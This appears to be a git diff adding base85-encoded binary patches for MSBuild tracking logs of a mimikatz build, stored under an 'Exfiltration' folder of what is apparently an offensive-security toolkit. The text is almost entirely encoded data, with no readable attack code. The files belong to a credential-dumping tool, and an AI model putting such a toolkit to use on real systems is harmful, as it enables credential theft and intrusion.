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 MBj-R$%VYZd2g6*}EC2ui literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/cl.command.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..f911a97a3e00a193ed96f91f1acb8a0457f9d7e0 GIT binary patch literal 62526 zcmeI5-A~&{6vgjzrTz~q-YL*(_W`L7X$Zkv@}VSr6h#}+6bdQ?1eBKk@!dUV#wH}O zOG>rscybga#@8P)&dkqe?!7bf@ArSKYU|dwx+T`LE!(j-SZiC$_N-%vyEZM z4?As%HLz@A{|fAVtT$~JN4$k~8QZu$!CD1-9ANvjW!cv3g{`_RE!)6%^6cIF^#QJ_ zWAE^7J)HFg*4lVIw`aCuL;C}ti7nk<_o?03iG8;BIKFKc_Qj6u3THdP@(izg3YdrK4c8cNX)%2c*j8^1>d=TB^alH$u%f^TZtYm|j-FaGYdb@9m(F}C|} z*?@KY%>#Tx6KCWx{KjnWS!>-k-PSsOuk3&ArIv2GymQNAl$3QlMhUn^8Q>Ychyil0lfwLMHO(eL^<{GL^K1H~q>NoM3^hlvmqB<Gil0oybv|T9 z(Kl9sw}B%}cQK|pM-ET@Q^(({sRxOX8Ba6i)b@8Pj&au%v>wDc;Nql5EVF*~Av|JMK`M)mAZ zsVc?z6yu91#y3l^Um-%-`SzFiCccSp;v2M&S3HwM2%T>nb$A0;KCMADujtd}I@L&3 z8mTJ$k*Xfka6eCl@^Ws&jWFTo*_EeFo;G>fV)nF6wpEKcS44&Ka;}D1wUs}nYz$>% z#FUNkbR{>-gYvSCGbA?Aj^*fp(s0sn(s0sn1N1t|r$V_or+J@G)u&s1x=kwX0Hq+r zxuKt~NsDG}T(Kc?Ojh8jTf&%y>&P;xBkFi#C-xcTppRY#7xu-D>1@;U3fcEtnTIbhk?Kr^xZ2yn2?F{dacyoQvUZu-@ zwB%{w?Braw(E9gFe`E{i^6Pi$p6vNc3)_x9Uhv9Z-dh+=s-a)-4xUxnUTt_6DmZ_F zC-g41cCen{o0|3-*Prdh%t_k1_+&h4Y*$o5QHcS{Psno`J>7R#JO_$+C*F-IxC1sO zj*%p6W}mgzk*~z9bvzL=w)av?H(lPjvjz9?lpY8JjPp&@C+E@DRK#`Kf?jm z*WoE1!b^MzZ}A}A-`kJzRG|l%K3;l`d8SSLy@cn(DV{xiKJ@YO6x+m8YI4ghj$Ff2 zY!%P4OKeqJmTlQ$E|gc_Q3o`j5O$p2P{xTePNeOm?FO!Wkk5tkvW|+7vjnrX!*)#t zz5119_ptS<`FF=H=>eXJ(sv`5X>e!XT!sO4By$t4oWAThMM|Z411(CA#>i>SEUzI! z{o2A^d;_IPFF7NGtb1Ena#SkL>f!4nYi131o1-pnV{gV3cX0&A;$U9GY+G*9GWNRU z?K^KziO2a+UiNX;ytnu*I=H{od{TN+dQy5)dQ^JFWGFZ9^5@`_4^KWk>KH~#r14gu z?-ohpk#_l9C^PG*n;GY;;D6IxRBF*G`%V!HMlAd&=J{kOGw)tDxV`Ygc~Ce<%N){CD!-4O|R!9!iv%gZZ!6XOSXzk zlnS!pIk&2xWv7E2A+~B;u!wu&p18L--1}8V#K6F9WH_=PW*0BbGp+b-_RQxvu*yhg z8$afl#ykWpCPWPUYk+&Z=y5o3Jr1j2VB4PCGyLvD*LU&vk4&f0@-)7H`rG~={W0dD zUlAW-V4pN!V`>Z)^+J>8ljiH^v<73~UC*^~-@^YVPoF$}^7P5m_b?iePlp(|w}+k? xNgDO&iG9#~pV0T{20hEA_oVlv_xczgp@Xpn*v#iZb3R&cZR{6EGRcb@e@JF{bYRQFMNk!V?p{ycx{8Z#U z%2`&E2L3l8UqJaauAA}>HU2>9bKK+o8mwOr?VE^znnwN&(1fvBm(CWmHR(*mehVBa zVQy;Dn;9C>g}9p)nRjX9wrK zU0-^@t)^K$YPXEu=n+O?+N){uY3>VD9xbJN-ZbH7RrEwx&K;dOEkt=nmYTt`s(L(Q ze=d-5+10&nAM=1?4MdqsgKpaUQo)|wC9G3N^e-rnnjZYCZDtKUO}k~d7t3s>fIgMg z_l7&D9ayEIyeI5K8@*ucEaeP<6{k4L6Z?kV4g8W9CRhsZEjnSoLkc#tx z@kG<8Q}Yh86J2|6+?(aeP~=L)2Nce7>qxQBHw-_2?{Y2aa9dk)=SsK9SMXE-c_} zL-{73aXPCdV_C>Rrf7YL|9AMQ$b(Ew*+}m3--mn;B`xTG~>cL0jJW25I(ny_98NFdpIZFDUs7ZO2Q`ZrpEBy4o02k~!2K4k=}WlBlM=S=CbAVik#Cx~ier8I-ihbQvObp9 zOHYl~^a`#)?OT~V`t`fK!kz82WeR_t2@zmjZVW4R;mLv5j^X)Z*zId7*ui?v0 z;uD6LB{LvPk|smU-S6mEk{nUwtC_F!L|J0jJw|}zk<>0R$;WRWIB<_SpCms)zorIF zh#P67=deujI1tH*y~!<3&4`VFL<86%U5znxpzq8Q+qan5gZy18*(t0yGOZ_RK7%!8 zKuX#sNtRL%kWH2w!U_Y}q@O}Ix%Uh7#YbC=jcKLXryk~C-;D4ruEtyasArxL-?Q~d z8Yjm{%<=3(-?{Ll^5*%wF2~cso8>rPh$7(_y&JAXYxj+}GWI5qXSDV}{(MqBq7UuJ zIkJ0?(_&Xt-`!AZ-O_gKed9&U%mxMzk})Q#g%4ZapmuT`h}NCJQbgqR__Dc;^oSF! z&s^#r)=P)T(fS-$o5#*D20mINp6u=i#KK#XAKt+Wdrxd3Jwir%VzGsu%&3!$ahqC5 zkGj#?9Ji^#1dbv{f!B=JPw`8xKGLFfR2PfQEax1FvnKIwirj~P$6K(2*%-*)?V#bmf1a3vle4^u49+kv5{6+)%#_AEg4jf zjkF(bons^Im%A7~rI$1N8D6Hji;j(S43_JrQFm;l{l%AHyt#Kq2C1g^#N6$3Y^41& z&jTL`qqt)u9q(%Z@iuX6q{DxkA>JB}jda|vX2e@YZ}f0%q^y0LCEm*%8;NHtj``i3 zc-uHOQg$svuOWxev5}6s3Xf*|tLIfTtrep^acrcleAz4>p&c8EILLf&d4g~MdqIwk zbm;MRY@|bvxK>WRV`#z=iYhxfAwtoIs?&hn&McQVTA1>0y|DqyeGx6(0q8I<1~@g;y6va PFiE5H&vBZL$!Yo@F_SdR literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.read.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..8e0945c09a49017c4763a96e4783933267a7c4c0 GIT binary patch literal 44242 zcmeHQU2hvV5ae@#{)axc4-xDdNsGM6l58uHPJ&Ld9Ycu!NPc_UnWL_EB==-1vMdg8 zFkWi zo8z&-`-ix{#dYEC@rkdv`vI@<^(n4~c*hf7kMDeNmu}!Lj90e!U-@lU?oYhR?^^*6 ze=mS!fZx~di~Er|=5N6IT#e61LCl{dFwdYT_t1X(FHg@ht!&w?ygj2l3q)Lg zcdxBuCG6N7US?BSH+5Mi$jNOmJ2QCyp}5y9pO{Uq zbfT4eV{VqaE3J`Mj%#(JSgy(uw0s1QrKB&lcb!&y2QB295f9^=N3qPfYUHvO%eeZu zYK)!ygCuh9K!!M*9Ye=U?0b1OtHLxWv9G-Z_6rI7t;6Bq8eBpbG|q}2pu1CGrT#Xj zm%qAS;2+8P@)61{;&0}te#4oL&mfj~{yXgY-|mz9W5?1WLxCKu1>UvB>m|PXD}L9E zt$Lkrp?QBn>n`w}Tf`639iNQ(BF_)-_s)TWd)50L4l>LJJACKBvccFf3vg~6KGx$N z?A%Bi4$QfckXJE-*E+w(K47iYE5{y{9C@4Z3B>@~MH|$tvpi9!oThpYp@+QIUC)@+ z!{6p(X`qi!;Z;zFoGcC0*15U{a*LOxf}EqCW}7w8+xcc4>|w@P1$UTpRzcmBb=JY3 zvL`gKTbXAaJ?>qR5MQ2 z3bHF$bZ193r)(lvg9pISC6l}QQO_8^2R(zbRV-q^F|!HkM2A?7Sw7_GV z1$GSol-2GfzL|K)MqT4M^HvL7T~@qj_7}Vd({&5fM7G6qaz5GdW7guL9fRU97VHKX z$)9*z-svGDQS)*A;|Pr0c{MZsy3yEU#^e}0d7xQ9KgQ4)vZ9$2dE5CqOlQ1*Wao|9 z2^hME%vHULxVo_O$QjSNBnCvI<{wJb!NiIc3zF^ z7N33k|I>{uIrm3x+vNJJD(7y8U9n#7n61+_9n8(yTF#j1f%<-~j8jh0NjcurD_DyZ zbKlSPbo!CjK7rX(RtMpFihBcm%xn<1kq#r{)dRhd-1$6<^g&Dlx$KALiLvwd{s zNx43nve--?RatCCjIJ~(A4XLcn+>BXP0EGQl;kx`7*)yAnlw#GY!-})ELMfR0(QH; zUIlqrU9W*UtgY9;+*Mhxf?hL>k6~JdBmN1S_)U2fQVB^e_~CKi9O= zu8;Nley;8A!%F>J-){|bRLCms;uYuFqcuFo>O0G_{$X3yH=Kqy_!2LyVOZy>FDd>u zGfV@0%negP-FKFqfNjQ;ocCCxeP>z!*MsRH-gDgT%(uoGCH64)t%5tueygDF%75$N zPcz^e*sUD64)Qb$u7W*1`PV=mXTnubr>FQT$eV1q24XuOu7rJmMm%pxtlHPS5zi58 zvHGMwImsPuoM}<`OEO_s*^eS)9indPb#vDcpIb@mV%l|hD%##9i&f*JIxk_BkE#?_ zosY6C?Mfe2IjpKmRat1y*l(rph1;AEv75?yvTLb#>8_4Z)i{6VH>z|_Z5Nczk6j_7 zIya1hz2>va8GAx8GoT*TFdNqQ!d=0}*Jt24SvbEhFVInI2>vVk#VPE)x-0%IHms^W zcufV6u57B=!_*7eRX};qOjm!jyiwboyYj}|_rg6TBOztg=B*7c@oK|Nf8Psti;DBL literal 0 HcmV?d00001 diff --git a/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog b/Exfiltration/mimikatz-1.0/mimikatz/Win32/link.write.1.tlog new file mode 100644 index 0000000000000000000000000000000000000000..4395a0c310deecc8a78386a3ff613a072d90ed30 GIT binary patch literal 19942 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 